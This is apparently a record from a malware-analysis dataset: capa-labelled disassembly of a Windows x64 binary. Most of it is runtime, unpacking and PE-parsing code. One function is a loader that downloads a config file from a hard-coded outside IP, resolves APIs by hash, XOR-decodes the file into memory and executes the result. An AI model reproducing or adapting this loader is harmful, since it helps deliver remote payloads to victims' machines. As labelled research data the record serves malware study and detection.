joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401516d0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401516dd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1401516ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401516d5
lea eax, [rcx + 1]
jmp 0x1401516fb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14015170e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1401516f4
sub eax, 3
jb 0x14015172e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14015177d
sar eax, 1
movsxd rbp, eax
jb 0x140151764
jmp 0x14015173c
add ebx, ebx
jne 0x14015173a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140151764
inc ecx
add ebx, ebx
jne 0x14015174a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140151764
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14015175d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14015174c
add ecx, 2
jmp 0x140151769
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140151692
jmp 0x1401516dd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xde400
mov dl, 0x16
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401517c9
cmp rsi, rcx
jae 0x1401517d1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401517b0
cmp al, 0x8f
ja 0x1401517b0
cmp byte [rsi - 2], 0xf
je 0x1401517b6
sub al, 0xe8
cmp al, 1
ja 0x14015179a
cmp rsi, rcx
jae 0x1401517d1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401517a0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401517d1
lodsb al, byte [rsi]
jmp 0x1401517b0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x14e000]
mov eax, dword [rdi]
or eax, eax
je 0x14015183a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1540d4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401517de
jns 0x140151813
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14015181d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140151834
mov qword [rbx], rax
add rbx, 8
jmp 0x1401517fe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x21f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140151892
sub rsp, 0xffffffffffffff80
jmp 0x1400cdb10
Function at 0x140001000
Capabilities:
Parse pe header

Disassembly:
push rsi
sub rsp, 0x20
mov rax, qword [0x140083028]
mov dword [rax], 1
mov rax, qword [0x140083030]
mov dword [rax], 1
mov rax, qword [0x140083038]
mov dword [rax], 1
mov rcx, qword [0x140083008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x14000108b
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x14000108b
add rcx, rdx
movzx edx, word [rcx + 0x18]
cmp edx, 0x20b
je 0x140001073
cmp edx, 0x10b
jne 0x14000108b
cmp dword [rcx + 0x74], 0xf
jb 0x14000108b
add rcx, 0xe8
jmp 0x140001083
cmp dword [rcx + 0x84], 0xf
jb 0x14000108b
add rcx, 0xf8
xor eax, eax
cmp dword [rcx], 0
setne al
mov rcx, qword [0x140083020]
cmp dword [rcx], 1
mov dword [0x1400a7474], eax
mov ecx, 2
sbb ecx, 0
call sym._set_app_type
mov rax, qword [0x140083088]
mov esi, dword [rax]
call sym.__p__fmode
mov dword [rax], esi
mov rax, qword [0x140083078]
mov esi, dword [rax]
call sym.__p__commode
mov dword [rax], esi
call dbg._setargv
mov rax, qword [section..rdata]
cmp dword [rax], 1
jne 0x1400010e5
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x20
pop rsi
ret
Function at 0x140001160
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov rsi, qword [0x140083048]
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
je 0x1400011b9
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov ecx, 0x3e8
call r14
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
jne 0x1400011a0
mov rdi, qword [0x140083050]
mov eax, dword [rdi]
cmp eax, 1
jne 0x1400011d3
mov ecx, 0x1f
call dbg._amsg_exit
jmp 0x1400011fa
cmp dword [rdi], 0
je 0x1400011e1
mov byte [0x1400a7490], 1
jmp 0x1400011fa
mov dword [rdi], 1
mov rcx, qword [0x140083068]
mov rdx, qword [0x140083070]
call sym._initterm
mov eax, dword [rdi]
cmp eax, 1
jne 0x14000121a
mov rcx, qword [0x140083058]
mov rdx, qword [0x140083060]
call sym._initterm
mov dword [rdi], 2
test bl, bl
je 0x140001223
xor eax, eax
xchg qword [rsi], rax
mov rax, qword [0x140083010]
mov rax, qword [rax]
test rax, rax
je 0x140001242
xor ecx, ecx
mov edx, 2
xor r8d, r8d
call qword [0x140091d00]
call dbg._pei386_runtime_relocator
lea rcx, [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [0x140083040]
mov qword [rcx], rax
lea rcx, [dbg.__mingw_invalidParameterHandler]
call sym._set_invalid_parameter_handler
call dbg._fpreset
movsxd rdi, dword [0x1400a747c]
lea rcx, [rdi*8 + 8]
call sym.malloc
mov rsi, rax
test rdi, rdi
jle 0x1400012d4
mov r14d, edi
mov r15, qword [0x1400a7480]
xor r12d, r12d
nop dword [rax + rax]
mov rdi, qword [r15 + r12*8]
mov rcx, rdi
call sym.strlen
lea rbx, [rax + 1]
mov rcx, rbx
call sym.malloc
mov qword [rsi + r12*8], rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sym.memcpy
inc r12
cmp r14, r12
jne 0x1400012a0
jmp 0x1400012d7
xor r14d, r14d
mov qword [rsi + r14*8], 0
mov qword [0x1400a7480], rsi
call dbg.__main
mov r8, qword [0x1400a7488]
mov rax, qword [0x140083018]
mov rax, qword [rax]
mov qword [rax], r8
mov ecx, dword [0x1400a747c]
mov rdx, qword [0x1400a7480]
call sym.main
mov dword [0x1400a7494], eax
cmp dword [0x1400a7474], 0
je 0x140001342
cmp byte [0x1400a7490], 0
jne 0x140001334
call sym._cexit
mov eax, dword [0x1400a7494]
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, eax
call sym.exit
int3
Function at 0x140001f10
Capabilities:
Read .ini file

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x30], rdx
mov dword [rbp - 0x34], ecx
call dbg.__main
mov ecx, dword [rbp - 0x34]
mov rdx, qword [rbp - 0x30]
mov dword [rbp + 0xac], 0
mov dword [rbp + 0xa8], ecx
mov qword [rbp + 0xa0], rdx
xor eax, eax
mov ecx, eax
lea rdx, [0x14008312a]
lea r8, str.Microsoft
mov r9d, 0x30
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rax, str.http:__154.8.177.139:7878_test.ini
mov qword [rbp + 0x98], rax
lea rax, str.C:ProgramDataconfig.ini
mov qword [rbp + 0x90], rax
mov rcx, qword [rbp + 0x98]
mov rdx, qword [rbp + 0x90]
call sym.downloadFile_char_const__char_const_
lea rcx, [0x140083098]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x88], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x80], rax
mov rcx, qword [rbp + 0x88]
mov edx, 0x8790b48
call sym.GetProcAddressSuperFastHash_unsigned_long_long__unsigned_long_long_
mov qword [rbp + 0x78], rax
mov rcx, qword [rbp + 0x80]
mov edx, 0x99a89755
call sym.GetProcAddressSuperFastHash_unsigned_long_long__unsigned_long_long_
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x60], 0
mov ecx, 1
lea rdx, [rbp + 0x60]
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
mov edx, 0x640
call qword [rax + 0x18]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x28], rax
mov rcx, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rbp - 0x28]
mov rdx, rax
mov rax, qword [rbp - 0x20]
mov r8d, 0x40
lea r9, [rbp + 0x6c]
call rax
mov dword [rbp - 0x14], 0
cmp dword [rbp - 0x14], 0x640
jge 0x1400020bf
mov ecx, dword [rbp - 0x14]
lea rdx, [rbp - 0x10]
mov r8d, 0xa
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
lea rdx, [rbp - 0x10]
mov r9, qword [rbp + 0x90]
lea rcx, [0x14008319e]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [rbp - 0x18], eax
cmp dword [rbp - 0x18], 0
jne 0x14000209c
jmp 0x1400020bf
mov eax, dword [rbp - 0x18]
xor eax, 0x400
mov dl, al
mov rax, qword [rbp + 0x58]
movsxd rcx, dword [rbp - 0x14]
mov byte [rax + rcx], dl
mov eax, dword [rbp - 0x14]
add eax, 1
mov dword [rbp - 0x14], eax
jmp 0x14000204f
mov rax, qword [rbp + 0x78]
mov qword [rbp - 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp - 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, qword [rbp - 0x48]
mov rdx, rax
mov rax, qword [rbp - 0x40]
mov r8, qword [rbp + 0x58]
xor r9d, r9d
xor r10d, r10d
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 1
call rax
xor eax, eax
add rsp, 0x130
pop rbp
ret
Function at 0x14001f730
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
lea rdi, [rsp + 0x38]
lea r15, [rsp + 0x28]
lea rbx, [rsp + 0x30]
nop
mov rcx, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x20], r15
mov r8, rbx
mov r9, rdi
call qword [0x140091d00]
mov ebp, eax
mov r14, qword [rsp + 0x28]
sub r14, rbx
mov r9, qword [rsi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r14
call sym.fwrite
mov rcx, rax
mov eax, 0xffffffff
cmp rcx, r14
jne 0x14001f7b6
cmp ebp, 1
je 0x14001f750
cmp ebp, 2
je 0x14001f7b6
mov rcx, qword [rsi + 0x40]
call sym.fflush
mov ecx, eax
xor eax, eax
neg ecx
sbb eax, eax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x14001f7d0
Capabilities:
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov rdi, rdx
mov r14, rcx
cmp byte [rcx + 0x58], 0
je 0x14001f805
mov r9, qword [r14 + 0x40]
mov edx, 1
mov rcx, rdi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp sym.fwrite
xor ebx, ebx
test rsi, rsi
jle 0x14001f834
nop dword [rax]
movzx edx, byte [rdi + rbx]
mov rax, qword [r14]
mov rax, qword [rax + 0x68]
mov rcx, r14
call qword [0x140091d00]
cmp eax, 0xffffffff
je 0x14001f834
inc rbx
cmp rsi, rbx
jne 0x14001f810
mov rbx, rsi
mov rax, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x14001f850
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
cmp edx, 0xffffffff
je 0x14001f8a4
mov esi, edx
mov rdi, rcx
mov byte [rsp + 0x4f], sil
cmp byte [rcx + 0x58], 0
je 0x14001f8ab
mov r9, qword [rdi + 0x40]
mov byte [rsp + 0x50], sil
lea rcx, [rsp + 0x50]
mov edx, 1
mov r8d, 1
call sym.fwrite
cmp rax, 1
mov eax, 0xffffffff
cmovne esi, eax
jmp 0x14001f963
xor esi, esi
jmp 0x14001f963
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x60], rbx
lea r15, [rsp + 0x4f]
lea r12, [rsp + 0x58]
lea r13, [rsp + 0x60]
lea r14, [rsp + 0x58]
nop dword [rax]
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rdi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov r8, r15
lea r9, [rsp + 0x50]
call qword [0x140091d00]
cmp qword [rsp + 0x58], r15
je 0x14001f95e
mov ebp, eax
cmp eax, 3
je 0x14001f941
cmp ebp, 1
ja 0x14001f95e
mov r15, qword [rsp + 0x60]
sub r15, rbx
mov r9, qword [rdi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r15
call sym.fwrite
cmp rax, r15
jne 0x14001f95e
mov r15, qword [rsp + 0x58]
cmp ebp, 1
je 0x14001f8d0
jmp 0x14001f963
mov r9, qword [rdi + 0x40]
mov edx, 1
mov r8d, 1
mov rcx, r15
call sym.fwrite
cmp rax, 1
je 0x14001f963
mov esi, 0xffffffff
mov eax, esi
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14001fd80
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
lea rdi, [rsp + 0x38]
lea r15, [rsp + 0x28]
lea rbx, [rsp + 0x30]
nop
mov rcx, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x20], r15
mov r8, rbx
mov r9, rdi
call qword [0x140091d00]
mov ebp, eax
mov r14, qword [rsp + 0x28]
sub r14, rbx
mov r9, qword [rsi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r14
call sym.fwrite
mov rcx, rax
mov eax, 0xffffffff
cmp rcx, r14
jne 0x14001fe06
cmp ebp, 1
je 0x14001fda0
cmp ebp, 2
je 0x14001fe06
mov rcx, qword [rsi + 0x40]
call sym.fflush
mov ecx, eax
xor eax, eax
neg ecx
sbb eax, eax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x14001fe80
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
cmp dx, 0xffff
je 0x14001fec4
mov esi, edx
mov rdi, rcx
mov word [rsp + 0x4e], dx
cmp byte [rcx + 0x58], 0
je 0x14001fecb
mov rdx, qword [rdi + 0x40]
mov ecx, esi
call sym.fputwc
cmp ax, 0xffff
mov eax, 0xffff
cmovne eax, esi
mov esi, eax
jmp 0x14001ff82
xor esi, esi
jmp 0x14001ff82
lea rbx, [rsp + 0x60]
mov qword [rsp + 0x58], rbx
lea r15, [rsp + 0x4e]
lea r12, [rsp + 0x68]
lea r13, [rsp + 0x58]
lea r14, [rsp + 0x50]
nop dword [rax]
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rdi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov r8, r15
lea r9, [rsp + 0x50]
call qword [0x140091d00]
cmp qword [rsp + 0x50], r15
je 0x14001ff7e
mov ebp, eax
cmp eax, 3
je 0x14001ff61
cmp ebp, 1
ja 0x14001ff7e
mov r15, qword [rsp + 0x58]
sub r15, rbx
mov r9, qword [rdi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r15
call sym.fwrite
cmp rax, r15
jne 0x14001ff7e
mov r15, qword [rsp + 0x50]
cmp ebp, 1
je 0x14001fef0
jmp 0x14001ff82
mov r9, qword [rdi + 0x40]
mov edx, 1
mov r8d, 1
mov rcx, r15
call sym.fwrite
cmp rax, 1
je 0x14001ff82
mov si, 0xffff
mov eax, esi
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x140020160
Capabilities:
Encode data using xor

Disassembly:
cmp rdx, r8
je 0x140020188
movabs rcx, 0xf000000000000000
mov r9, r8
sub r9, rdx
dec r8
cmp r8, rdx
jne 0x14002018b
xor r8d, r8d
test r9b, 1
jne 0x1400201ee
jmp 0x140020205
xor eax, eax
ret
mov r8, r9
and r8, 0xfffffffffffffffe
xor eax, eax
nop word cs:[rax + rax]
shl rax, 4
movsx r10, byte [rdx]
add r10, rax
mov rax, r10
shr rax, 0x38
and eax, 0xfffffff0
xor rax, r10
shl rax, 4
movsx r10, byte [rdx + 1]
add r10, rax
mov r11, r10
and r11, rcx
mov rax, r11
shr rax, 0x38
or rax, r11
xor rax, r10
add rdx, 2
add r8, 0xfffffffffffffffe
jne 0x1400201a0
mov r8, rax
shl r8, 4
test r9b, 1
je 0x140020205
movsx rax, byte [rdx]
add r8, rax
and rcx, r8
mov rax, rcx
shr rax, 0x38
or rax, rcx
xor rax, r8
ret
Function at 0x140020370
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
cmp rdx, r8
je 0x1400203b7
movabs rcx, 0xf000000000000000
nop word cs:[rax + rax]
shl rax, 4
movzx r9d, word [rdx]
add r9, rax
mov r10, r9
and r10, rcx
mov rax, r10
shr rax, 0x38
or rax, r10
xor rax, r9
add rdx, 2
cmp rdx, r8
jne 0x140020390
ret

Function at 0x1400585a0
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call sym.__acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sym.fwrite
mov ecx, 2
call sym.__acrt_iob_func
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call dbg.vfprintf
call sym.abort
int3

Function at 0x140059f40
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
mov rdi, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rdi
lea rcx, str.libcabi:
mov edx, 0xb
mov r8d, 1
mov r9, rax
call sym.fwrite
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov ecx, 2
call rdi
mov r8, qword [rsp + 0x20]
mov rcx, rax
mov rdx, rsi
call dbg.vfprintf
mov ecx, 2
call rdi
mov ecx, 0xa
mov rdx, rax
call sym.fputc
call sym.abort
int3

Function at 0x14005a7a0
Capabilities:
Query environment variable

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
mov rbx, rcx
call sym.logAPIs
test al, al
je 0x14005a7f3
mov r14, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r14
mov qword [rsp + 0x20], rsi
lea rdx, str.libunwind:__Unwind_SetGR_context_p__reg_d__value0x_0llx__n
mov rcx, rax
mov r8, rbx
mov r9d, edi
call dbg.fprintf
mov ecx, 2
call r14
mov rcx, rax
call sym.fflush
mov rcx, rbx
mov edx, edi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp sym.__unw_set_reg

Function at 0x14005a880
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rdx
mov rdi, rcx
call sym.logAPIs
test al, al
je 0x14005a8c8
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, str.libunwind:__Unwind_SetIP_context_p__value0x_0llx__n
mov rcx, rax
mov r8, rdi
mov r9, rsi
call dbg.fprintf
mov ecx, 2
call rbx
mov rcx, rax
call sym.fflush
mov rcx, rdi
mov edx, 0xffffffff
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp sym.__unw_set_reg
Function at 0x14005dca0
Capabilities:
Parse pe header

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
xor edi, edi
cmp rax, 8
ja 0x14005dd1f
mov rax, qword [0x140083008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x14005dd1f
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14005dd1d
add rax, rcx
movzx ecx, word [rax + 0x18]
cmp ecx, 0x20b
jne 0x14005dd1d
movzx ebx, word [rax + 6]
test ebx, ebx
je 0x14005dd1d
movzx ecx, word [rax + 0x14]
lea rdi, [rcx + rax]
add rdi, 0x18
nop dword [rax]
mov r8d, 8
mov rcx, rdi
mov rdx, rsi
call sym.strncmp
test eax, eax
je 0x14005dd1f
add rdi, 0x28
dec ebx
jne 0x14005dd00
xor edi, edi
mov rax, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x14005dd30
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140083008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14005dd9b
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14005dd9b
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14005dd9b
movzx edx, word [rax + 6]
test edx, edx
je 0x14005dd9b
sub rcx, qword [0x140083008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x14005dd88
add rax, 0x28
dec edx
je 0x14005dd9b
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x14005dd80
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x14005dd80
ret
xor eax, eax
ret

Function at 0x14005dda0
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140083008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x14005ddd5
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x14005ddd5
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x14005ddd5
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x14005de50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140083008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x14005de7c
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14005de7c
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x14005de7e
xor eax, eax
ret

Function at 0x14005df10
Capabilities:
Parse pe header

Disassembly:
push rsi
mov rdx, qword [0x140083008]
movzx eax, word [rdx]
cmp eax, 0x5a4d
jne 0x14005dfad
movsxd rax, dword [rdx + 0x3c]
cmp dword [rdx + rax], 0x4550
jne 0x14005dfad
add rax, rdx
movzx r8d, word [rax + 0x18]
cmp r8d, 0x20b
jne 0x14005dfad
mov r8d, dword [rax + 0x90]
test r8, r8
je 0x14005dfad
movzx r9d, word [rax + 6]
test r9, r9
je 0x14005dfad
movzx r10d, word [rax + 0x14]
shl r9d, 3
lea r9, [r9 + r9*4]
add r10, rax
add r10, 0x24
xor eax, eax
xor r11d, r11d
jmp 0x14005df89
add r11, 0x28
cmp r9d, r11d
je 0x14005dfaf
mov esi, dword [r10 + r11]
cmp esi, r8d
ja 0x14005df80
add esi, dword [r10 + r11 - 4]
cmp esi, r8d
jbe 0x14005df80
add rdx, r8
add rdx, 0xc
xor eax, eax
cmp dword [rdx - 8], 0
jne 0x14005dfd1
jmp 0x14005dfcc
xor eax, eax
pop rsi
ret
dec ecx
add rdx, 0x14
cmp dword [rdx - 8], 0
jne 0x14005dfd1
cmp dword [rdx], 0
je 0x14005dfaf
test ecx, ecx
jg 0x14005dfc0
mov eax, dword [rdx]
add rax, qword [0x140083008]
jmp 0x14005dfaf
Function at 0x14005e010
Capabilities:
Query environment variable

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
cmp byte [0x1400a8d03], 1
jne 0x14005e031
cmp byte [0x1400a8d02], 0
jne 0x14005e050
jmp 0x14005e082
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
mov byte [0x1400a8d03], 1
test rax, rax
setne byte [0x1400a8d02]
je 0x14005e082
mov rbx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call rbx
lea rdx, str.libunwind:___unw_init_local_cursor_p__context_p__n
mov rcx, rax
mov r8, rsi
mov r9, rdi
call dbg.fprintf
mov ecx, 2
call rbx
mov rcx, rax
call sym.fflush
lea r8, [0x1400a8218]
mov rcx, rsi
mov rdx, rdi
call method.libunwind::UnwindCursor_libunwind::LocalAddressSpace__libunwind::Registers_x86_64_.UnwindCursor_unw_context_t__libunwind::LocalAddressSpace_
mov rax, qword [rsi]
mov rax, qword [rax + 0x68]
mov rcx, rsi
xor edx, edx
call qword [0x140091d00]
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x14005e0b0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
cmp byte [0x1400a8d03], 1
jne 0x14005e0cc
cmp byte [0x1400a8d02], 0
setne al
add rsp, 0x28
ret
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
test rax, rax
setne al
setne byte [0x1400a8d02]
mov byte [0x1400a8d03], 1
add rsp, 0x28
ret

Function at 0x14005e2d0
Capabilities:
Query environment variable

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
mov rbx, rcx
cmp byte [0x1400a8d03], 1
jne 0x14005e2f5
cmp byte [0x1400a8d02], 0
jne 0x14005e314
jmp 0x14005e34d
lea rcx, str.LIBUNWIND_PRINT_APIS
call sym.getenv
mov byte [0x1400a8d03], 1
test rax, rax
setne byte [0x1400a8d02]
je 0x14005e34d
mov r14, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
call r14
mov qword [rsp + 0x20], rsi
lea rdx, str.libunwind:___unw_get_reg_cursor_p__regNum_d__value_p__n
mov rcx, rax
mov r8, rbx
mov r9d, edi
call dbg.fprintf
mov ecx, 2
call r14
mov rcx, rax
call sym.fflush
mov rax, qword [rbx]
mov rax, qword [rax + 0x10]
mov rcx, rbx
mov edx, edi
call qword [0x140091d00]
mov ecx, eax
mov eax, 0xffffe672
test cl, cl
je 0x14005e381
mov rax, qword [rbx]
mov rax, qword [rax + 0x18]
mov rcx, rbx
mov edx, edi
call qword [0x140091d00]
mov qword [rsi], rax
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret